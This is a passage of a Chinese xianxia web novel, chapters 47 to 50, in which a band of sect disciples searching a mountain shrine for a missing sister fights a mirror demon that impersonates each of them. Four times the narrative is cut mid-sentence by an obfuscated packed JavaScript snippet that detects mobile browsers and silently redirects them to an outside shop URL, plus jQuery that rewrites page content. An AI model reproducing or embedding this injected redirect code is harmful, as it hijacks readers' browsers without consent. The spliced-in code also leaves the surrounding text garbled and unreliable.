“也不全是。”连乔诚恳道,“我确实听说过一些同月的脾气,所以得罪她,我很忐忑。” “但是呢,我实在看不下去有些行为。” “我知道有你在,你是不会让我受伤的。”连乔拍拍他,“我比较相信你啦,迟师兄。” 迟星垂扶着她的手微微一顿。 迟星垂当然不会让她受伤了呀。 他们俩同心同命,一损俱损,她要是被同月打了,迟星垂也会同样疼。 所以,为了自己的身体健康,他肯定会保护她不让她受伤害的。 在连乔嘴中说出来是这个意思,但是在迟星垂那里听,就变了味道了。 有种,说不清道不明的暧昧。 “连翘,多谢。” 凌阿知道连乔是在为成英轩出头,他很感激。 连乔朝成英轩眨了一只眼,“不客气”。 这个小姑娘虽然情绪稳定没有脾气,但这不是别人拿她的缺陷来刺激她的理由。 看不惯的人和事,连乔从不惯着。 离开人群后,连乔大口呼吸,又使劲拍拍自己胸口安慰自己没什么大不了,向来不爱笑的成英轩勾了勾嘴角。 好像,很久没有看到这样有意思的人了。 几人快速赶路,终于在天黑前赶到桐花岭。 桐花岭在群山深处,周围环境幽静,远离人世,住在这里的人很少。 连乔下了银辉飞舟,一下飞舟,就闻到一股怪异的气味。 有一点腥,又很香,像香炉里焚香的香。 她捂着鼻子连着打了几个喷嚏。 童元宝:“你还好吗?” 连乔摇头,表示自己没事,“就是这边的味道太怪了,闻着不舒服。” “味道?”童元宝长长地吸了一口气,“什么味道,我怎么没闻到?” 47.第 47 章 这么明显的奇怪味道,他怎么闻不到? 连乔转过头看其他人,其他人也都说没有闻到。 不会……只有她闻到了吧? 连乔轻轻揉了一下鼻子,因为打喷嚏,鼻音很重。 刚想说话,空气中那股味道散去,连乔再呼吸,怎么也闻不到了。 “奇怪,刚刚还有的。” “这里是山神庙,有点破败,但是又不是特别旧,应该是有香火。”成英轩道。 她走上前,果然缺了一个角的香炉里还有一小截香,有风吹过,最后一颗香灰坠落。 “好吧。”连乔吸了吸鼻子,“可能真的是我太敏感。” 迟星垂没说话,他也闻到那股味道,他与连乔共感。 连乔身上有狐族血脉,嗅觉比正常人要敏感很多,捕捉到空气中那点稍纵即逝的气味。 那股怪味很淡,香灰味比较重,像是为了掩盖一起出现的腥味。 连乔看到香炉,凑过去,“有点像。” 几个人找了个干净的地方坐下,生起篝火。 桐花岭周围都是山区,住的人不少,山民生活简单,平日里就靠着这几座山过活。 翻过这几座山,有一个小型集镇,集镇有一条河通向大江,大江下游不远就有一处十分繁华的小城。 连乔听他们讨论这次陈灵玉出事的细节。 陈灵玉出事的大体经过他们已经知晓,桐花岭一带村民受邪祟困扰,她接下任务前来除祟。一开始一切都正常,但是近一个月,她联系乾元剑宗的次数越来越少,到最后直接失联了。 迟星垂在看万机,忽然漂亮的眉眼眯起。 童元宝问:“发生什么了?” “剑宗传来消息说,联系上陈灵玉了。” “啊?” “联系上了,在哪呢?”童元宝将手里的柴添进火里,拍掉手上的灰,“她要是没事,我们去接她?” “不,很奇怪。”迟星垂将万机收起,“剑宗说是陈灵玉主动联系上他们,她先是报了平安,又说周围没有什么大问题,并且说自己很快会回去,让来找她的人也离开。” 说到这里连乔想起来了,原著里说这次事情并不严重,出事的弟子主动回信说没有严重问题,所以男女主没有深究,只是来桐花岭简单检查一遍,发现没什么问题就离开了。 童元宝:“啊?那她现在呢?” “联系不上。” “又联系不上了?”成英轩望着那层层叠叠的大山,“陈灵玉……是不是在故意瞒着什么?” 乾元剑宗的弟子牌可以随时传送弟子历练的实景,陈灵玉一直将弟子牌关闭,只是偶尔出来报平安,这很可疑。 除了她想刻意隐瞒什么秘密,别的理由说不过去。 盛危须道:“灵玉师姐要是不想让剑宗知道她周围的情况,完全可以损坏弟子牌,又或者直接丢弃,没必要一边跟剑宗联系,一边又避着剑宗。” 这说得也有道理。连乔蹙眉,“那如果是……她脱不了身,又必须瞒着呢?” “这种情况不是不可能。”迟星垂道,“也许她是被人威胁不能直接暴露弟子牌,也有可能是遇到了别的不方便透露的事。无论是哪种情况,都很棘手。” 先前迟星垂他们在飞舟上讨论了好几种寻找陈灵玉的办法,但是到了实地,他们才发现事情十分难办。 这是绵延数百里的群山,路况复杂,山里野兽山鬼多,不管是利用法器定向搜找,还是地毯式的搜索,都很困难。 这样漫无目的地找根本不是办法。 “大家先在这里将就着休息一晚吧。”迟星垂道,“天一亮,我们去山下的村庄找村民问问。” 他将手里的木棍扔进火中,炭火“哔啵”一声,“元宝,今晚我们俩守夜。” 晚上万籁俱寂,山上有野兽的嚎叫声,山里气温低,又下起了雨,滴滴答答地一直响。 成英轩坐在连乔旁边,凌阿也没有休息,安静陪着她。 盛危须坐在连乔这一边。 盛危须是乾元剑宗天才六人中年纪最小的,话不多,向来独善其身,从不站队。 同月过来和成英轩闹的时候,他也一直躲在房间里不出门。 连乔以为他不爱说话,看到他对自己招手,还有意外,她伸出一根手指指着自己,“我?” 盛危须点点头,“对。” “你之前在冲虚学院修行?”盛危须问,“我怎么没见过你?” 连乔:“我以前经常翘课。” “我听说了,是你影卫身上有问题,让你性格大变,行为举止受到影响。” 他来了兴趣,“你跟我说说,瞳镜是怎么控制你的。” 连乔:“……”怪不得说他不爱说话,他要是说话,一般人真接不住。 她敷衍道,“此事说来话长。” 盛危须道,“我也听说了,你的这件事有点意思,说不定还和魔族有关。” 夜晚的山神庙格外阴冷,外面阴雨连绵,不管火烧得多旺,都不能驱走那股湿寒之气。 盛危须从连乔那里听来了几个故事,外面天仍旧没有亮。 盛危须阴森森地,“这里这么冷,又是荒郊野岭的,你说有没有可能会闹鬼。” 连乔默默地把脚往回缩。 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305150|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神庙很大,但是破败不堪,大部分墙体都坍塌了,只剩正殿这里稍微好一些。 火苗慢慢熄灭,透过熹微的光,大概能看清山神庙的整体情况。 正殿只有三尊泥塑像,但左右两尊有磕碰,都有不同程度的损坏,只有中间那一尊是完好的。 “提到山神庙,我想起来很多年前,我师姐历练和我说的异闻。” “有一年师姐和师兄去一个深山捉山鬼,那山鬼抓童男童女,要吸食小孩脑髓来养功,师姐他们在山上搜罗了三天,终于在一个破败的山神庙里找到了那些小孩。” “他们救下孩童,但离开的时候路遇洪水,几个人在山里被困了几天,一直走不出去,就沿着那山神庙绕圈。” “救下的一共三个小孩,有小孩体弱,禁不住这样折腾,感染了风寒,高烧不退。为了脱困,师姐留在山神庙照顾小孩,师兄去山下搬救兵。” “师姐等了一天一夜,第二天师兄终于回来了,他满身黄泥,师姐问他怎么了,他二话不说拉着师姐躲进山神庙。” “他跟师姐说,这座山已经废弃,外面有很多诡异的东西,根本跑不出去,因为他的横冲直撞,引来外面许多山鬼,叫师姐好好躲在山神庙不要出去,这里还有山神保护,但是……诡异的事来了。” “这时候外面突然传来师兄的声音。师兄很焦急,他在朝门内大喊,让师姐快出来,因为师姐所在的山神庙里面根本不是山神,村民信仰消逝,山神逝去,住在庙里的是成群的山鬼……” 盛危须说故事的能力很强,外面风声呜咽,不断有野兽的啼叫哀鸣,配上他娓娓道来的语调,连乔感觉背后慢慢升起一片凉气。 盛危须幽幽转头,瞳孔在火光的映照下漆黑透亮,他的眼黑本来就更多,在这样暗的光线里,更像一个鬼娃。 他望着连乔,“如果是你选,会相信哪一个?” 连乔瑟瑟发抖不敢说话,忽然背后被人一拍,她猛地尖叫,“啊!” 童元宝被吓得往后退了几步,“你怎么吓成这样?” 连乔的心脏都要被吓停,她闭上眼,拍了拍胸口,深呼吸好几口气,“盛危须刚刚在说她师姐山神庙遇鬼的事。” “那件事啊……”童元宝也知道,“那件事确实可怕,幸亏当时元师姐反应快,才把事情处理好。” 连乔问:“那位师姐是怎么选的?” “当时情况很紧急,一个师兄在外面催她,说里面的人是假的,他在骗她,里面的人说外面的人是假的,山神庙有结界,山鬼不敢进来,才在外面个隔空喊话。” “那后来呢?”连乔问,“后来那位师姐认出来了吗?” 48.第 48 章 “当然,不然现在你也很难听到我们用闲聊的语气来说这个故事了。”童元宝道,“那位师姐和师兄是一对,两个人有特定的联系方式和手势。” 得亏是两个人熟悉,又有只有对方才知道的特定习惯和密语,换成她遇到这种事,跟其他人都不熟,那才是棘手。 盛危须讲完这个故事,连乔后脊背发凉,其他人倒是没什么反应,还有些意犹未尽。 凌阿道,“这让我想起许多年前我在林山地墓里捉双面鬼的那次,也是碰到会伪装的精怪。” “我和另外一个师弟和师妹去的,我们轮流去外面找水源和出口,回来后师弟一直说他背很重,在遇到古墓铜镜后,师弟发现自己背上骑了一个人。” 成英轩有些奇怪,“骑了一个人?” “对啊。”凌阿阴恻恻笑着,“那个人模仿他的模样和动作,他察觉到师弟发现自己,隔着镜子对着师弟笑……” “这么说我也想起三年前去银湖水域发生的一件事,水域下一直有一个黑影,一开始大家以为是水鬼,后来发现是河流存在的时间久了,生出了有意识的精怪。” “那精怪贪食人间烟火,会吞食路过的行人还不尽兴,再幻化出行人的模样,勾下一个人下水。” 成英轩也开始跟大家分享曾经的古怪经历,连乔听得牙齿打颤,她往外看了一眼。 时间过得这么慢,为什么天还没有亮? 连乔觉得冷,连着往火堆里添了几把柴也没有用,她往起一站,“我去外面看看他们要不要换人。” 她把衣服裹紧了往外走。 这几个人一个比一个凶悍,遇到这种事完全都不带怕的,但是她作为生长在春风里的现代人,她接受不了这些妖魔鬼怪。 连乔裹着衣服出来,外面的雨已经停了,空气潮湿,雾气慢慢地飘出来,透着密林里落叶腐烂的味。 迟星垂抱着剑,安静靠坐在墙边。 即使看了很多次,连乔都不得不为迟星垂的美丽皮相折服,屋内的光熹微,显得他轮廓很深,瞳孔也倒映着微微的光亮。 “我怕你一个人无聊,我陪你聊会儿。”这里阴气连绵,安静让气氛更诡异,连乔开口找话聊。 迟星垂道:“你休息会儿吧,快天亮了。” “我睡不着。”连乔找了块石头坐下。 她认床,还神经脆弱,这里荒郊野岭又危机四伏,她能平静下来已经很有勇气了。 “啊呦我天,原来这里还有个坡。” 有声音传来,紧接着童元宝爬过山坡,拍了拍手上的泥,扶着树,从坡上一撅一拐地走下来。 “不好意思师兄让你等这么久,我本来是想近一点的,但是周围没树,我怪不好意思的。”童元宝又一看,“连乔你怎么也出来了?” 连乔:“……” 她望了望童元宝,又看了一眼迟星垂,“……童、童元宝刚刚干什么去了?” “我去小解啊。”童元宝莫名其妙。 连乔:“!!!” 她就说,大晚上的不睡觉听什么鬼故事! 这个是童元宝,那山神庙里面的是谁?! 连乔脸色一白,不动声色地站到迟星垂后面。 童元宝仍旧不明所以,他往连乔目光的方向看去,哎呀卧槽,里面那个是谁?! 这时候里面的童元宝也看了过来,“……什么情况,外面那个是谁?!” 外面的童元宝一愣,“我刚才去外面小解,肯定是趁着这个功夫那个东西扮成我的样子混进庙里的!” 里面那个童元宝道,“我刚才去小解,很快就回来了,反倒是你,外面漆黑一片,又有各种野兽,你从那么远的地方过来,明明就有很大的问题。” “我有问题?”外面的童元宝双手一插,这是童元宝的习惯性动作,“你睁着眼说什么瞎话,这里没有树,不跑远点,难道我要光着屁股吗?那你跟我说,你在哪里解决的?” “你净说什么瞎话?”里面的童元宝立刻祭出自己的宝剑,“你个妖祟,你扮成我想干什么?” “你还有理了?”外面的童元宝同样祭出剑,“我今天非要宰了你,看看到底是什么东西变的。” 连乔离迟星垂又近了些,“你看哪个像真的?” “两个人的动作和习惯和元宝都一样。”迟星垂微微偏头,“法器和剑也一样。” “童元宝,我叫什么?”凌阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317860|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着自己,问里面的童元宝。 “凌阿。”童元宝实在不理解,“你不记得了吗,刚刚我在这里,还跟你说了元师姐遇到一模一样师兄的事,我要是假的,我怎么会知道这件事?!” 说得也有道理。 “别信他的,他肯定是从哪里窥探到了这些!”外面的童元宝急了,“别被他骗了,我才是真的童元宝,你是凌阿,你成英轩,你盛危须,你连乔,你星垂师兄!” 里面那个童元宝急得要跺脚,“我才是真的童元宝啊,师兄,这次我们来这里是为了找陈灵玉,盛危须是我找的,也是我临时凑够六个人!” 外面的童元宝忍不住要拔剑了,“这次我们来救人,除了陈灵玉,还有剑宗的另外两个师兄弟,一个叫元记,一个叫兰尧,几个人已经失踪四天了,就只有陈灵玉还有回音,师兄这个还是你告诉我的,你说这件事不简单,让我们一定要小心。” 盛危须站在一旁,又变成了不爱说话的孩子,成英轩脸色阴暗不明,凌阿则是皱眉,在思考着什么。 外面的雾气越来越浓,整个天色没有变好,反倒更加黑暗。今夜小雨,头顶上没有月光,几乎伸手不见五指。 不知道什么时候,连野兽的声音也消失了,简直像进入到另一个世界。 外面的童元宝道,“一定是你,你就是假的,我今天非杀了你不可!” “我今天要杀了你!”里面的童元宝忍不住了,冲出来就是一剑。 二人不由分说厮打起来。 两个人打得天翻地覆,连山神庙的屋顶都顶破了几片瓦。 两个人混打在一起,这一下更分不清哪个是真的童元宝,哪个是假的了。 其中一个祭出芥子珠,从里面随手抓一大把降魔除鬼的符箓,“这里什么符箓都有,不管你是山妖还是精怪,我都要把你给收了!” 另一个人在同时做出同样的动作,“连这个你也要学!” “谁学你了!是你学老子!”左边的童元宝怒气上涌,使出十成实的力气,直接将山神庙给掀翻。 他用力极狠,有山神庙左右两边的小泥像“噼里啪啦”全碎了,中间大的那尊倒在地上,也有损裂,但还保持完好。 49.第 49 章 两个童元宝的修为和功力不相上下,连出剑习惯都一模一样。 但是总归有破绽的吧? 连乔忽然出声,“快问快答,童元宝,你师父是谁?” 两个童元宝几乎同时回答,“虞南子。” “你大师兄是谁?” 两个童元宝也是几乎同时回答,“迟星垂。” 迟星垂发现了连乔的意图,在连乔接连问了三个常识性问题后,他开口继续快问,“元宝,你平时最喜欢溜去地窖偷喝师父的酒?” “是……” “额……” 两个人都慢了一拍,但几乎也是同时回答。 “凌阿最喜欢成英轩,对吗?” “对。” “对。” 迟星垂接着再问,“临走之前,我不让邵吴兴跟过来,因为邵吴兴喜欢盛危须对不对?” “对!” 左边的童元宝“啊”了一声。 便在这时,剑光汹涌,直逼右侧童元宝。 其他人也瞬间反应过来,右边的童元宝悬空飞起,立刻躲开攻击,“居然这么快被发现了呢。” 他歪了歪头,属于童元宝的那张脸慢慢裂开,露出另一张没有五官的脸。 “还算有点本事,这次算你们走运,下一次可就不会有这么好的运气了。” 成英轩持剑跟在他身后,“追!” 那没有五官的人身形一闪,绕着山神庙跑了一圈,但并不进去,最后又停在山神庙门口。 这时,原来站在门口的迟星垂,变成了两个。 不等众人分辨,其中一个迟星垂出剑,几乎在眨眼之间,将另一个“迟星垂”震开,随后一剑穿心。 “咔嚓”,有一声巨大的破碎声,像茶盏摔在地上。 方才无脸人出现,连乔就躲回到山神庙内,此时那人被迟星垂斩杀,她才露面。 但是外面一个人也没有,方才的迟星垂,一直追着无脸人的其他人,也消失不见。 整个山神庙重归寂静,黑无边际,远处的鸟啼,近处的虫鸣,以及自己的心跳声。 连乔一转头,看到另一个“连翘”。 那个“连翘”歪着头,上下扫视她一番,嘴角上扬,从口腔传来一声怪异的轻笑。 望着外面一模一样的自己,连乔先是后背发凉,紧接着脸色一冷,“你装我?” “不一定是我装你哦,如果没有被人认出来,以后我就是你了。”对面“连翘”露齿一笑,很快动作和习惯都变得和她一样。 “不过,我居然看不透你呢。”那个人托着腮,眉头皱起,“你……你是个很奇怪的人。” “好奇怪,身体里有两个你,一个是你,另一个还是你。” 她面容忽然严肃起来,“奇怪好啊,我很喜欢奇奇怪怪的东西,越是奇怪的东西越是好吃,你看上去很好吃。” 只是一瞬,周围的黑暗很快散去,外面的雨也不知道什么时候停了,但是朽木味仍然黏重,叫人呼吸不畅。 外面的声音也传进来,连乔站在山神庙外,迟星垂一行人都追了过来,追过来便看到两个连翘站在山神庙门口。 “这……”童元宝“啊”了一声,“师兄你不是把它给砍碎了吗,怎么它又来?” 成英轩一直不说话,这时候才反应过来,“是镜魔。” “镜魔?”童元宝脸色大变,“怎么会是镜魔?” 镜魔是魔域大魔之一,能够反射出对面人的外体相貌和真实内心,也因此能够模仿对方的一切,性格越敏感的人,越容易被他捕捉。 一旦被他探测到内心,就会被镜魔的魔气寄生,继而被魔气吃得渣也不剩。 镜魔特别喜欢化成对方的模样,像猫逗老鼠一样玩弄猎物,直到将猎物玩死为止。 “如果是镜魔,那这次的事就根本不是妖邪这么简单。”迟星垂道,“元宝你给剑宗传讯息,说在这里发现了镜魔,让剑宗再派一些人来。” 如果是普通的魔人,事情就不严重,在这里出现这种大魔,不是普通历练弟子能解决的事。 童元宝去拿万机,但是此时万机已经没有了反应,通讯符也打不开。 两个连乔站在山神庙门口,皆是一脸凝重,且几乎一同开口,“这怎么办?” 两个人相互看对方一眼,“你学什么?” 又是同时回答,“我才是真的连乔,你学什么学?” 镜魔模仿连乔模仿得惟妙惟肖,连生气蹙眉的小动作都一样。 “镜魔最会模仿对方,等到将对方完全窥探到,就会将原主完全吞噬。”童元宝方才被镜魔吃了不少灵力,现在脸色有些白,“我们要快些了,连乔那点肉,不够他塞牙的。” 一旦连乔被吞噬,她的意识和身体很快会成为对方的一部分,直到自己完全消失。 盛危须道,“方才迟师兄不是将它打碎了么,为什么它现在仍旧这么厉害?” 迟星垂道,“镜魔本体是一面镜子,镜子可以映照出一个人,半面镜子也可以。” 方才迟星垂动作很快,镜魔小瞧了他的攻击力,没有防备,所以才让他近身,破了自己的本体。 现在他清楚了,这一群人都有点能力,那可是上好的补品。 每吞吃一个人,他的修为都会增长许多,将这六个人都吃下去,不仅可以修复破镜的裂痕,功力也能有所突破。 方才太掉以轻心,才被那个小子伤到,现在他可要好好玩一场了。 那就先从这个最弱的开始吧。 “不好,连乔的身体在衰竭!”童元宝急了,“快找真的那个啊,再不找,连乔要被吸干了!” “这怎么找啊,这两个人一模一样,两个人都在衰弱啊。”盛危须的语气也有些急,“这要是找错了,直接伤到真的连乔,就更危险了。” 童元宝尝试用快问快答的方法去辨别真的连乔,“连乔,你娘叫什么名字?” 这是下意识的问题,但是连乔不是原主,她顿了一下,“露不霜。” 对面那个反倒在她前面答出来,“露不霜!” 几个人对连乔有了戒备,“再问一句,你爹叫什么?” 连乔:“……玉非缘?” 那个人也是在她之前答出来,“玉非缘!” 连乔:哦吼,完了。 几个人都盯着她,连乔感觉下一秒,几个人都要扑上来。 迟星垂道,“等一下,不太对。” 对面的“连翘”道,“师兄,她连爹娘名字叫什么都不知道,肯定不是真的连乔,你快杀了她,她是镜魔!” 连乔道:“我从没叫过玉非缘父亲,也不认为他是我父亲,答得慢不应该吗?” “就算你不把他当爹,他也是你名义上的爹,你别狡辩,答得慢就是有问题!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333840|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚说完,两个“连乔”都捂住胸口,“哇”一声吐出一大口血。 连乔浑身疲惫,这和她刚穿过来严重透支身体的感觉一模一样。她感受到自己的灵力和修为在被对方啃食,但对面那个人也是同样的表情,一脸惨淡地望着她。 曾经拼尽全力得来的灵力和修为在一点一点流失,识海中的清灵“哗啦”一声破开,又涌来大片大片的混沌。 连乔在识海中听到一声疑问的“嗯”? 又传来一个陌生的非男非女的声音,“不仅看不透你的内心,还在这里看到了老朋友?有点意思了。” 连乔的行动也迟缓起来。 她花了多长时间,耗尽多少心血,才让自己从一个废柴变成一个普通妖修,凭什么对面这个人,轻轻动手,就将她所有的努力全部付之一炬? 身上最后一丝灵力也消失,连乔终于怒了,她拖着沉重的手,走过去,对着对面就是两巴掌“啪啪”。 对面捂着脸,一脸的不可置信,“你干什么,你打我?!我长这么大,没人这样打我!” 说完她捂着脸,伸手上来挠连乔的脸,“咻咻”两声连乔的脸刮花了,留下两条被指甲刮出的血痕。 连乔愣了,“你挠我?!” “我挠你怎么了?!”对方一手叉腰,另一只手上来就是薅她的头发,“你打我,我今天不让你破相我就不叫连乔!” 对面那人过来揪她的头发,连乔伸手去抠对方的眼珠子,“你叫连乔,你叫连乔我叫什么?!” 对方掐连乔脸上的肉,连乔上嘴咬对方的手,两个人在地上扭打成一团,滚了一身的草灰。 “我是连乔,我辛辛苦苦修行才走到今天这个地步,我和我的修为同在,你休想分走我一点灵力?” “妈的死东西,要点脸行吗?你抢别人的东西就抢,能不能搞点光明正大的手段,别死装行不行?” “你能不能别装,别一口咬死别人,你不是没脸么,我现在就把你的皮撕下来,看你那没五官的脸是个什么鬼东西?” “撕皮?你这人不人鬼不鬼的东西,我现在连你这个鬼东西身上的皮都给扒掉!” …… 童元宝:“……” 凌阿静静站在一边看热闹,成英轩嘴角抽搐几下,不知道接下来该做什么? 盛危须:“打起来很癫,毫无技巧,全是感情,这很连乔。” 童元宝有点迟疑,“要不拉一下架?” 凌阿:“那我们帮哪一个?” 有个连乔躺在地上,另一个连乔骑在她身上,“帮我啊,童元宝,我经常请你吃大餐,你不记得了吗?” 躺在地上的连乔猛地一翻,将另一个连乔按在地上,“别听她的,我才是连乔,刚刚你们说鬼故事,我不敢听,出去了,记得吗?” 就在此时,一直以来默不作声的迟星垂忽然拉起其中一个,以极快的速度对着另一个出剑。 躺在地上的“连乔”猛地一让,成英轩紧接着一剑劈下,又是“嘭”的一声,有瓷盏碎裂的声音。 镜魔又碎了一片。 短暂的破镜限制住了他的行动,他不再恋战,立刻跳出去,往丛林深处跑。 成英轩紧跟其后,其他人也立刻跟上。 连乔得以喘息,被对方抽走的灵力“哗啦啦”一声反灌回来,冲得她往后一仰。 迟星垂托住她,“还好吗?” 50.第 50 章 连乔蓬头垢面,头发被镜魔揪成一团,盘好的发髻被揪下来搭在肩上,脸上好几处挂彩,“滴滴答答”往外渗血。 她伸手擦干血,新的血珠又一颗一颗往外冒。 迟星垂截住她又要往脸上蹭的手,“等一下。” 连乔抬眼,她瞳孔的颜色很深,眯眼时十分勾人,有属于狐狸独有的警觉。 手背上的血珠滚下来,“啪嗒”一声滚在地上。 连乔低头望着地上的血珠,“擦不干净,那人的手指甲有毒,血止不住,一直往外渗。” “是魔毒。”迟星垂俯下身来,低头看她脸上的伤。 伤口很大,开始呈现黑紫色,如果不及时清理和医治,疤痕会一直留在脸上。 迟星垂凑得很近,连乔看到他鸦羽般的长睫,能闻到他身上雨后清晨般的木质香味。 他修长的手指按在她脸上,冰冰凉凉,脸颊的灼痛浅了很多。 她眼中又充斥着愤懑,“希望成英轩他们找到镜魔,到时候我就用镜魔的镜子碎片照脸,嘶……迟星垂你轻点。” 迟星垂取出药膏,涂在她的伤疤上,连乔脸上的刺痛消去,只觉得清清凉凉。 “清灵膏可以暂时压制魔毒,如果要完全清除毒气,还需要特制的药物。” “你那里有吗?” “我没有,我看了你的芥子,也没有。” 说完他转过身去,他的脸,也跟着感觉到轻微刺痛。 除了脸上有伤,连乔身上也有扭打时磕碰留下的青紫,好在其他地方都没有伤口,用普通的药膏也可以处理。 连乔揉着胳膊上的淤青,给胳膊上完药后又对着镜子,往脖子上涂药。 “不愧是大魔,能够在瞬息之间捕捉到对方的行为习惯,还能模仿得那么好,正常人很难察觉差距。” 连乔补道,“尤其是在我自己面前,比我还要先答出问题,他甚至比‘我’还了解我。” 迟星垂道:“魔族最善拿捏人心,还能够依据内心的变动来蛊惑对方,人很喜欢欺骗自己,但魔族直白,他比你更了解自己,并不奇怪。” 连乔“呵”一声笑了,“是么?” 连乔抬头,正对上迟星垂深邃的目光,“师兄,那你呢,你是怎么认出我的呢?” “方才我和镜魔扭打在一起,镜魔基本上没有露出破绽,至少从我的角度来看他没有留下破绽,所以迟师兄,你到底是怎么发现我是真的连乔?” 迟星垂瞳孔的颜色偏淡,琥珀色,静静望着人的时候十分深邃,他望着连乔。 连乔对上他的目光,“他哪里露馅了么?” “没有。” “没有?没有你是靠什么发现的?”连乔起身,抬头盯着迟星垂的双眼。 “莫不是……”她似乎恍然大悟,“莫不是……你暗恋我?” “咳咳……咳咳咳……”迟星垂被她的话震惊到,“你在开什么玩笑?” 连乔解释,“童元宝说,之前的师姐就是靠着对方的小习惯认出那位师兄的,他们俩是一对,所以有很多只有对方发现的小习惯。” “你那么快就发现了我,除了你暗恋我,一直偷偷关注我,很了解我之外,我想不出别的原因。” 迟星垂没有戴面具,但是这次他的嘴角也不自觉地抽搐一下。 连乔丝毫不认为自己的想法有什么问题,自己年轻多金有才能,敖周那等妖兽都要排着队贴上来,迟星垂爱慕她,不是应该的事么? 迟星垂被气笑了,“师妹,请自重。” 连乔:“你爱我就直说,爱我的人有很多,你不需掩饰。” 迟星垂捏了捏眉头,“我可能也吸入魔气了,我的头很痛。” 天已经慢慢亮起来,东方翻起鱼肚白,山林的黑暗也慢慢被驱逐,留下熹微的光。 连乔将脸包扎好,套上面纱。 魔气伤并不重,但是影响颜值,她很看重这张美脸。 镜魔被打裂,山神庙外的结界也被破开,万机和通讯符都重新发挥了作用,连乔联系上默非他们,简单复述事情的经过,让他立刻赶过来。 南道看到了她的伤,“你的脸怎么了?” “被镜魔伤到了。” 默非道:“被魔气所伤,不及时处理,脸会溃烂,即使后期有驻颜丹,也会对肌肉纹理产生影响,想要完全恢复,七日内必须要找到特制药物。” 现在让默非赶过来帮她现场配药很难,盛危须那里有不少清毒的丹药,或许可以一用。 但是现在她与迟星垂和大部队走失,盛危须他们的通讯符联系不上,找到对方很困难。 默非道:“我和南道尽快赶过来,这几日你不要随意动怒,防止魔毒入心。” “好的。” “对了……”连乔问默非,“解除重心蛊的药有进展吗?” “刚找到药引,第一轮药效正在测试,估计还要一段时间。” “你配置出来了?” “默非道,“不能说是解药,我没办法解蛊毒,只能借助别的载体将两只蛊虫引出来,但是这个方法我并不确定是否一定有用。” “好。”连乔心中狂喜,如果真解除了重心蛊,她又少了一个致命威胁。 “还有一件事要问你。”连乔继续用密语传送,“如果我和迟星垂中间,一个人服用压制蛊虫的药物,而另一个人断了药,会有什么结果?” “断药?” “对。”连乔问,“他会不会和我同感同受,我的情绪波动以及疼痛感知,他都知道?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344699|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“重心蛊是相互的,你和迟星垂之间的影响也同样是双向的。” 默非道,“单纯一个人停药,停药的人应该会感知对方六感,但是由于对方始终在服药,对蛊毒有抑制,所以这六感不会很强烈。” “那如果两个人都停了药呢?” “那就和你刚开始中蛊一样,一个人摔跤,另一个人都会跟着翻跟头。” 默非语气有疑问,“你又想做什么?” “不是我要做什么。”连乔望一眼迟星垂背影,压低声音,“默非,我觉得,迟星垂停药了。” 默非:“?” “对,就是你想的那样。” 那一端南道也在,他听完话一愣,“他停药了?!” 连乔:“你小声点。” “不是,他为什么会停药,他是暗恋你么,所以停药偷窥你的生活,他是什么变态吗?” 连乔捏住鼻梁。 啊,可能是方才魔气入脑了,头好痛。 连乔转过头,迟星垂站在外面,正在擦剑,并没有注意到她这边的动静。 连乔松了口气。 迟星垂当然不是变态,他是个不折不扣的君子,非礼勿视非礼勿听,他不会故意窥探她,更像是在……监视她。 和迟来风不一样,迟星垂不是一个热心肠的人,无论是教她学障目术,还是教她御剑,他好像知道自己身上有秘密,所以有意无意帮助自己解决困境。 连乔只是嘴嗨,她可不是真的普信,她很清醒,即使自己是真的漂亮真的聪明真的有钱,也不会迷倒迟星垂这种石头。 那……他为什么要停药,又为什么会帮自己? 他是不是知道自己身边,有一些看不见的东西在做些什么? 盛危须和成英轩方才一起去追镜魔,可能又触碰到了结界,现在联系不上他们。 天已经亮了,两个人准备沿着密林去找些线索,连乔忽然“啊”了一声。 迟星垂低眸看她,“怎么了?” 